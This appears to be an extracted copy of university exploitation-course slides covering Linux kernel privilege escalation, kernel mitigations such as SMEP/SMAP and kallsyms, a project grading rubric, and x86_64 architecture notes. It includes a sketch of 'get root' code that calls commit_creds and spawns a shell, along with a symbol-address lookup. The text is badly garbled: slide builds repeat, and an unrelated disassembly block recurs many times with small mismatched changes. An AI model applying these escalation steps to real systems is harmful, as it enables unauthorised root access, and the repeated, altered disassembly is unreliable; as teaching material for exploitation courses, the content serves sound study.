loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Basic Exploitation Strategy Elevate Privileges

Great! Now we can map out what we need to do

1. Create a “root” “struct creds” by calling prepare_kernel_cred(NULL);
2. Call commit_creds(root cred *);

Basic Exploitation Strategy Elevate Privileges

Great! Now we can map out what we need to do

1. Create a “root” “struct creds” by calling prepare_kernel_cred(NULL);
2. Call commit_creds(root cred *);
3. Enjoy our new root privileges!

Basic Exploitation Strategy Returning To UserSpace

Why bother returning to Userspace?

```
                push    edi
                call    sub_314623
                test    eax, eax
                jnz     short loc_31
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Basic Exploitation Strategy Returning To UserSpace

Why bother returning to Userspace?

Most useful things we want to do are *much* easier from userland.

Basic Exploitation Strategy Returning To UserSpace

Why bother returning to Userspace?

Most useful things we want to do are *much* easier from userland.

In KernelSpace, there's no easy way to:

> Modify the filesystem
> Create a new process
> Create network connections

Basic Exploitation Strategy Returning To UserSpace

How does the kernel do it?

```
                push    edi
                call    sub_314623
                test    eax, eax
                jnz     short loc_31
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Basic Exploitation Strategy Returning To UserSpace

How does the kernel do it?

```
push    $SS_USER_VALUE
push    $USERLAND_STACK
push    $USERLAND_EFLAGS
push    $CS_USER_VALUE
push    $USERLAND_FUNCTION_ADDRESS
swapgs
iretq
```

Basic Exploitation Strategy Returning To UserSpace

How does the kernel do it?

```
push    $SS_USER_VALUE
push    $USERLAND_STACK
push    $USERLAND_EFLAGS
push    $CS_USER_VALUE
push    $USERLAND_FUNCTION_ADDRESS
swapgs
iretq
```

This *will usually* get you out of “Kernel Mode” safely.

Basic Exploitation Strategy Returning To UserSpace

For exploitation, the easiest strategy is highjacking execution, and letting the kernel return by itself.

Basic Exploitation Strategy Returning To UserSpace

For exploitation, the easiest strategy is highjacking execution, and letting the kernel return by itself.

> Function Pointer Overwrites
> Syscall Table Highjacking
> Use-After-Free

Basic Exploitation Strategy Returning To UserSpace

For exploitation, the easiest strategy is highjacking execution, and letting the kernel return by itself.

> Function Pointer Overwrites
> Syscall Table Highjacking
> Use-After-Free

You need to be very careful about destroying Kernel state.

A segfault probably means a reboot!

Basic Exploitation Strategy Enjoying our Root Privs

If we make it back to userland, our process should be running with root privileges.

Basic Exploitation Strategy
Enjoying our Root Privs

If we make it back to userland, our process should be running with root privileges.

We can do whatever we want!

Kernel Space Protections

By now, you're familiar with the alphabet soup of exploit mitigations

Kernel Space Protections

By now, you're familiar with the alphabet soup of exploit mitigations

DEP
ASLR
PIE
Canaries
RELRO
etc...

Kernel Space Protections

By now, you're familiar with the alphabet soup of exploit mitigations

DEP
ASLR
PIE
Canaries
RELRO
etc...

Green: Present in Kernel Space
Yellow: Present, with caveats
Red: Not directly applicable

Kernel Space Protections

By now, you're familiar with the alphabet soup of exploit mitigations

DEP
ASLR
PIE
Canaries
RELRO
etc...

Green: Present in Kernel Space
Yellow: Present, with caveats
Red: Not directly applicable

There's a whole new alphabet soup for Kernel Mitigations!

Kernel Space Protections

Some new words in our soup

MMAP_MIN_ADDR
KALLSYMS
RANDSTACK
STACKLEAK
SMEP / SMAP

Kernel Space Protections

Some new words in our soup (There's plenty more...)

MMAP_MIN_ADDR
KALLSYMS
RANDSTACK
STACKLEAK
SMEP / SMAP

Most of these will be off for the labs!

Kernel Space Protections mmap_min_addr

This makes exploiting NULL pointer dereferences harder.

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_313066
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jnz     short loc_313066
                mov     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Kernel Space Protections mmap_min_addr

This makes exploiting NULL pointer dereferences harder.

Kernel Space Protections mmap_min_addr

This makes exploiting NULL pointer dereferences harder.

Program does mmap(0,....)

Kernel Space Protections mmap_min_addr

This makes exploiting NULL pointer dereferences harder.

Program does mmap(0,....)

Program writes malicious Code

Kernel Space Protections mmap_min_addr

This makes exploiting NULL pointer dereferences harder.

Program does mmap(0,....)

Program writes malicious Code

Program triggers Kernel Bug

Kernel Space Protections mmap_min_addr

This makes exploiting NULL pointer dereferences harder.

Program does mmap(0,....)

Program writes malicious Code

Program triggers Kernel Bug

Kernel starts executing malicious Code

Kernel Space Protections mmap_min_addr

This makes exploiting NULL pointer dereferences harder.

mmap_min_addr disallows programs from allocating low memory.

Makes it much more difficult to exploit a simple NULL pointer dereference in the kernel.

Kernel Space Protections kallsyms

/proc/kallsyms gives the address of all symbols in the kernel.

We need this information to write reliable exploits without an info-leak!

Kernel Space Protections kallsyms

/proc/kallsyms gives the address of all symbols in the kernel.

We need this information to write reliable exploits without an info-leak!

$: cat /proc/kallsyms | grep commit_creds

ffffffff810908c0 T commit_creds
ffffffff81b01390 R __ksymtab_commit_creds
ffffffff81b1cf38 r __kcrctab_commit_creds
ffffffff81b2c33b r __kstrtab_commit_creds

Kernel Space Protections kallsyms

kallsyms used to be world-readable.

Now, it returns 0's for unprivileged users

$: cat /proc/kallsyms | grep commit_creds

```
0000000000000000 T commit_creds
0000000000000000 R __ksymtab_commit_creds
0000000000000000 r __kcrctab_commit_creds
0000000000000000 r __kstrtab_commit_creds
```

Can still be a useful source of information on older systems

Kernel Space Protections
SMEP / SMAP

SMEP: Supervisor Mode Execution Protection

Introduced in Intel IvyBridge

SMAP: Supervisor Mode Access Protection

Introduced in Intel Haswell

Kernel Space Protections SMEP / SMAP

Common Exploitation Technique: Supply your own “get root” code.

Kernel Space Protections SMEP / SMAP

Common Exploitation Technique: Supply your own “get root” code.

```
void get_r00t() {
        commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char * argv) {
        …
        trigger_fp_overwrite(&get_r00t);
        …
        //trigger fp use
        trigger_vuln_fp();
        // Kernel Executes get_r00t
        ...
        // Now we have root
        system(“/bin/sh”);
}
```

Kernel Space Protections SMEP / SMAP

Common Exploitation Technique: Supply your own "get root" code.

```
void get_r00t() {
        commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char * argv) {
        …
        trigger_fp_overwrite(&get_r00t);
        …
        //trigger fp use
        trigger_vuln_fp();
        // Kernel Executes get_r00t()
        ...
        // Now we have root
        system("/bin/sh");
}
```

Kernel Space Protections SMEP / SMAP

Common Exploitation Technique: Supply your own "get root" code.

```
void get_r00t() {
        commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char * argv) {
        …
        trigger_fp_overwrite(&get_r00t);
        …
        //trigger fp use
        trigger_vuln_fp();
        // Kernel Executes get_r00t()
        ...
        // Now we have root
        system("/bin/sh");
}
```

Kernel Space Protections SMEP / SMAP

Common Exploitation Technique: Supply your own "get root" code.

```
void get_r00t() {
        commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char * argv) {
        …
        trigger_fp_overwrite(&get_r00t);
        …
        //trigger fp use
        trigger_vuln_fp();
        // Kernel Executes get_r00t()
        ...
        // Now we have root
        system("/bin/sh");
}
```

Kernel Space Protections SMEP / SMAP

Common Exploitation Technique: Supply your own "get root" code.

```
void get_r00t() {
        commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char * argv) {
        …
        trigger_fp_overwrite(&get_r00t);
        …
        //trigger fp use
        trigger_vuln_fp();
        // Kernel Executes get_r00t()
        ...
        // Now we have root
        system("/bin/sh");
}
```

Kernel Space Protections
SMEP / SMAP

SMEP prevents this type of attack by triggering a page fault if the processor tries to execute memory that has the “user” bit set while in “ring 0”.

Kernel Space Protections
SMEP / SMAP

SMEP prevents this type of attack by triggering a page fault if the processor tries to execute memory that has the “user” bit set while in “ring 0”.

SMAP works similarly, but for data access in general

Kernel Space Protections
SMEP / SMAP

SMEP prevents this type of attack by triggering a page fault if the processor tries to execute memory that has the “user” bit set while in “ring 0”.

SMAP works similarly, but for data access in general

This doesn’t *prevent* vulnerabilities, but it adds considerable work to developing a working exploit

Kernel Space Protections SMEP / SMAP

SMEP prevents this type of attack by triggering a page fault if the processor tries to execute memory that has the “user” bit set while in “ring 0”.

SMAP works similarly, but for data access in general

This doesn’t *prevent* vulnerabilities, but it adds considerable work to developing a working exploit

We need to use ROP, or somehow get executable code into kernel memory.

Example

We'll walk through a short example of a backdoored LKM to get a feel for dealing with the kernel.

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                push    ebx
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Conclusion

Kernel Exploitation is *weird*, but *extremely powerful*

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+arg_0], eax
sub     [illegible]
test    eax, eax
jz      short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
mov     esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

Conclusion

Kernel Exploitation is *weird*, but *extremely powerful*

As userland exploit-dev becomes more challenging and more expensive, kernelspace is becoming a more attractive target.

Conclusion

Kernel Exploitation is *weird*, but *extremely powerful*

As userland exploit-dev becomes more challenging and more expensive, kernelspace is becoming a more attractive target.

A single bug can be used to bypass sandboxes, and gain root privileges, which may otherwise be impossible

Conclusion

The book on Kernel Exploitation:

Project Two Grading Rubric

____ / 10pts - **Overview**

- Brief overview of the project, tell us about the RPISEC Nuke
  - What are some of its features?

____ / 10pts - **Key Auth One** - **Checkpoint #1 Due 1:59pm Friday, May 1st**

- What is the vulnerability? How can key auth one be bypassed?
  - Gets 'KEY CONFIRMED' for key auth one

____ / 15pts - **Key Auth Two** - **Checkpoint #2 Due 1:59pm Friday, May 8th**

- What is the vulnerability? How can key auth two be bypassed?
  - Gets 'KEY CONFIRMED' for key auth two

____ / 15pts - **Key Auth Three** - **Checkpoint #2 Due 1:59pm Friday, May 8th**

- What is the vulnerability? How can key auth three be bypassed?
  - Gets 'KEY CONFIRMED' for key auth three

____ / 20pts - **Nuke86 Programming**

- How is the nuke code checksummed?
  - Describes the algorithm
- Can you write a nuke86 program to detonate on 'GENERAL DOOM'?
- Can you exploit nuke86?
  - Gets arbitrary ROP
  - Gets the project2_priv .pass

____ / 10pts - **Exploit Automation**

- Is your exploit 100% automated?
  - Can I run a single command/script (python, bash, etc) and get the flag?
- Degree of usability and portability otherwise
- Include your final exploit script as a file separate from the writeup

____ / 20pts - **CTF Style Writeup** - **Project Due 1:59pm Friday, May 15th**

- Goes into sufficient details regarding all of the above points
- Readability - Is it fun and easy to read? Visually interesting?
  - Use of images, code snippets, or diagrams might help

____ / 5pts - **Bonus**

- Did you find any of our easter eggs?
  - Explains them / how they work

_____ / 100pts - **Final Grade**

Checkpoint #1 - **Due 1:59pm Friday, May 1st**

Since this will be your first exposure to the project and reversing it, you are only expected to complete the first key authorization. The first checkpoint is to identify the vulnerability in key authorization #1 and automate the process of exploiting it. It is only worth 10% of your final project grade as it is the simplest of all the vulnerabilities to identify and exploit.

We expect a simple explanation of what the vulnerability is, and how to exploit it much like your lab challenge descriptions. With your checkpoint #1 submission, please include an exploit script that will bypass the first key authorization. Feel free to ignore the 'Overview' part of the rubric above. You will be completing that section with your final writeup of the project, it is not due with checkpoint #1

Submit to: mbespring2015+**checkpoint1p2** [at] gmail.com

Checkpoint #2 - **Due 1:59pm Friday, May 8th**

The second checkpoint is worth 30% of your final project grade. Key authorization #2 and #3 will be a bit harder to exploit and automate than the first authorization, but you should have a feel for the project at this point and will already have your exploit script underway.

As with checkpoint #1, we expect a simple explanation of what the vulnerabilities are, and how you can exploit them. With your checkpoint #2 submission, please include an exploit script that will bypass the second and third key authorizations.

Submit to: mbespring2015+**checkpoint2p2** [at] gmail.com

Final Writeup - **Due 1:59pm Friday, May 15th**

The final writeup and any other Project #2 materials are due by the time stated above. Keep in mind that the final writeup is all encompassing, therefore you are expected to include the details regarding checkpoint #1 and checkpoint #2. It might be wise to simply start your writeup immediately, and build upon it as you progress - submitting its current state for Checkpoint #1 and Checkpoint #2.

The final writeup should be in the same form as the Project #1 writeup. It is expected to be a PDF file describing the points in the rubric above. You **MUST** include your exploit script as a **SEPARATE FILE** not embedded in the PDF.

Final course grades are due to the registrar by 9am Monday, May 18th therefore **it is imperative that you submit your project on time, otherwise you will waive your right to dispute your grade and may only receive credit for checkpoint #1 and #2.**

Submit to: mbespring2015+**project2** [at] gmail.com

x64, ARM, Windows

Modern Binary Exploitation

CSCI 4968 - Spring 2015

Markus Gaasedelen

Lecture Overview

- This course has largely revolved around exploiting x86 binaries on Ubuntu 14.04 i386
  - Linux is easier and a bit more academic
  - Same can be said about 32bit x86

Lecture Overview

- This course has largely revolved around exploiting x86 binaries on Ubuntu 14.04 i386
  - Linux is easier and a bit more academic
  - Same can be said about 32bit x86

- But how does exploitation change for x86_64 systems? ARM devices? How about Windows?

Lecture Overview

- Architecture Differences
  - x86
  - x86_64
  - ARM
- Platform Differences
  - Windows

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

x86 Overview

- x86 is a 32bit instruction set developed by Intel
  - Sometimes known as x32, x86, IA32

x86 Overview

- x86 is a 32bit instruction set developed by Intel
  - Sometimes known as x32, x86, IA32
- It's a CISC architecture that is super popular and used all around the world
  - yadayadayada, you've been using it all semester

x86 CPU

x86 Registers

x86 Registers

x86 Registers

x86 Registers

x86 Calling Conventions

- cdecl
  - Caller cleans up the stack
  - Unknown or variable # of arguments, eg printf()
- stdcall
  - Callee cleans up the stack
  - Standard calling convention for the Win32 API
- fastcall
  - First two arguments are put into ECX, and EDX, the rest are put onto the stack

x86 Misc Notes

- x86 is like the wild west in computing
  - "it's like it was designed to be exploited"

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                cmp     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

x86 Misc Notes

- x86 is like the wild west in computing
  - "it's like it was designed to be exploited"
  - No instruction alignment, and you can jump in the middle of instructions (great for ROP Gadgets)

x86 Misc Notes

- x86 is like the wild west in computing
  - "it's like it was designed to be exploited"
  - No instruction alignment, and you can jump in the middle of instructions (great for ROP Gadgets)
  - Hundreds of instructions, many rarely used

x86 Instruction Stats

http://www.strchr.com/x86_machine_code_statistics

x86 Misc Notes

- x86 is like the wild west in computing
  - "it's like it was designed to be exploited"
  - No instruction alignment, and you can jump in the middle of instructions (great for ROP Gadgets)
  - Hundreds of instructions, many rarely used
  - Instructions can range from 1 byte long, to 15 bytes long!

x86 Long Instructions

```
lock add DWORD PTR ds:[esi+ecx*4+0x12345678],0xefcdab89

67 66 f0 3e 81 84 8e 78 56 34 12 89 ab cd ef
```

(from http://blog.onlinedisassembler.com/blog/?p=23)

x86 Misc Notes

- x86 is like the wild west in computing
  - "it's like it was designed to be exploited"
  - No instruction alignment, and you can jump in the middle of instructions (great for ROP Gadgets)
  - Hundreds of instructions, many rarely used
  - Instructions can range from 1 byte long, to 15 bytes long!
- It's the devil's playground

Lecture Overview

- Architecture Differences
  - x86
  - x86_64
  - ARM
- Platform Differences
  - Windows

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

x86_64 Overview

- x86_64 is the 64bit successor to 32bit x86
  - Sometimes known as x64, x86_64, AMD64

x86_64 Overview

- x86_64 is the 64bit successor to 32bit x86
  - Sometimes known as x64, x86_64, AMD64
- We're well into the 64bit era at this point with 32bit x86 machines slowly on their way out

x86_64 Overview

- x86_64 is the 64bit successor to 32bit x86
  - Sometimes known as x64, x86_64, AMD64
- We're well into the 64bit era at this point with 32bit x86 machines slowly on their way out
- x86_64 is Bigger, better, faster… and familiar!

x86_64 CPU

x86_64 Registers

- Pretty similar to x86, but with a few upgrades
  - General Purpose Registers
    - Everything starts with R instead of E - RAX, RBX, RCX…
    - GPR's are now 64bit, not 32bit
    - There is now 8 more GPR's for use - R8 to R15
  - More XMM* registers (128 bits)

General-Purpose Registers (GPRs)
RAX
RBX
RCX
RDX
RBP
RSI
RDI
RSP
R8
R9
R10
R11
R12
R13
R14
R15
63
0
64-Bit Media and Floating-Point Registers
MMX0/FPR0
MMX1/FPR1
MMX2/FPR2
MMX3/FPR3
MMX4/FPR4
MMX5/FPR5
MMX6/FPR6
MMX7/FPR7
63
0
Flags Register
0
EFLAGS
RFLAGS
63
0
Instruction Pointer
EIP
RIP
63
0
128-Bit Media Registers
XMM0
XMM1
XMM2
XMM3
XMM4
XMM5
XMM6
XMM7
XMM8
XMM9
XMM10
XMM11
XMM12
XMM13
XMM14
XMM15
127
0
Legacy x86 registers, supported in all modes
Register extensions, supported in 64-bit mode
Application-programming registers also include the 128-bit media control-and-status register and the x87 tag-word, control-word, and status-word registers

x86_64 Registers

x86_64 Registers

x86_64 Registers

Register encoding	Zero-extended for 32-bit operands (Not modified for 16-bit operands; Not modified for 8-bit operands)			Low 8-bit	16-bit	32-bit	64-bit
0			AH†	AL	AX	EAX	RAX
3			BH†	BL	BX	EBX	RBX
1			CH†	CL	CX	ECX	RCX
2			DH†	DL	DX	EDX	RDX
6				SIL‡	SI	ESI	RSI
7				DIL‡	DI	EDI	RDI
5				BPL‡	BP	EBP	RBP
4				SPL‡	SP	ESP	RSP
8				R8B	R8W	R8D	R8
9				R9B	R9W	R9D	R9
10				R10B	R10W	R10D	R10
11				R11B	R11W	R11D	R11
12				R12B	R12W	R12D	R12
13				R13B	R13W	R13D	R13
14				R14B	R14W	R14D	R14
15				R15B	R15W	R15D	R15
	63 … 32	31 … 16	15 … 8	7 … 0			

† Not legal with REX prefix

‡ Requires REX prefix

x86_64 Calling Conventions

- The 64bit calling convention is a lot like 32bit fastcall where arguments are put into registers

x86_64 Calling Conventions

- The 64bit calling convention is a lot like 32bit fastcall where arguments are put into registers

- But Linux and Windows use different registers for their respective calling conventions

x86_64 Calling Conventions

- The 64bit calling convention is a lot like 32bit fastcall where arguments are put into registers

- But Linux and Windows use different registers for their respective calling conventions
  - Linux: RDI, RSI, RDX, RCX, R8, R9
  - Windows: RCX, RDX, R8, R9

x86_64 Calling Conventions

- The 64bit calling convention is a lot like 32bit fastcall where arguments are put into registers

- But Linux and Windows use different registers for their respective calling conventions
  - Linux: RDI, RSI, RDX, RCX, R8, R9
  - Windows: RCX, RDX, R8, R9

(any other arguments are pushed onto the stack)

x86_64 ROP

- Chaining multiple function calls via ROP is way easier on 64bit
  - Why?

x86_64 ROP

- Chaining multiple function calls via ROP is way easier on 64bit
  - Why?

- You simply load function arguments into registers, they don't need to be on the stack!

x86_64 ASLR

- 64bit address space means better ASLR
  - ‘better’ simply means more entropy to bruteforce
  - Bruteforcing ASLR on 64bit is rarely done

x86_64 ASLR

```
doom@upwn64:~$ cat /proc/self/maps
(the same segment after multiple runs)
7f638218c000-7f6382347000 r-xp 00000000 08:01 922887
...
```

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

x86_64 ASLR

```
doom@upwn64:~$ cat /proc/self/maps
(the same segment after multiple runs)
7f638218c000-7f6382347000 r-xp 00000000 08:01 922887
...
7f6fa368e000-7f6fa3849000 r-xp 00000000 08:01 922887
...
```

```
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], ebx
jnz     short loc_313066
mov     eax, [ebp+var_70]
cmp     eax, [ebp+var_84]
jb      short loc_313066
sub     eax, [ebp+var_84]
push    esi
push    esi
push    eax
push    edi
mov     [ebp+arg_0], eax
call    sub_31486A
test    eax, eax
jz      short loc_31306D
push    esi
lea     eax, [ebp+arg_0]
push    eax
push    esi, 1D0h
push    esi
push    [ebp+arg_4]
push    edi
call    sub_314623
test    eax, eax
jz      short loc_31306D
cmp     [ebp+arg_0], esi
jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
push    0Dh
call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
call    sub_3140F3
test    eax, eax
jg      short loc_31307D
call    sub_3140F3
jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
call    sub_3140F3
and     eax, 0FFFFFh
or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
mov     [ebp+var_4], eax
```

x86_64 ASLR

```
doom@upwn64:~$ cat /proc/self/maps
(the same segment after multiple runs)
7f638218c000-7f6382347000 r-xp 00000000 08:01 922887
...
7f6fa368e000-7f6fa3849000 r-xp 00000000 08:01 922887
...
7f974db38000-7f974dcf3000 r-xp 00000000 08:01 922887
...
```

x86_64 ASLR

```
doom@upwn64:~$ cat /proc/self/maps
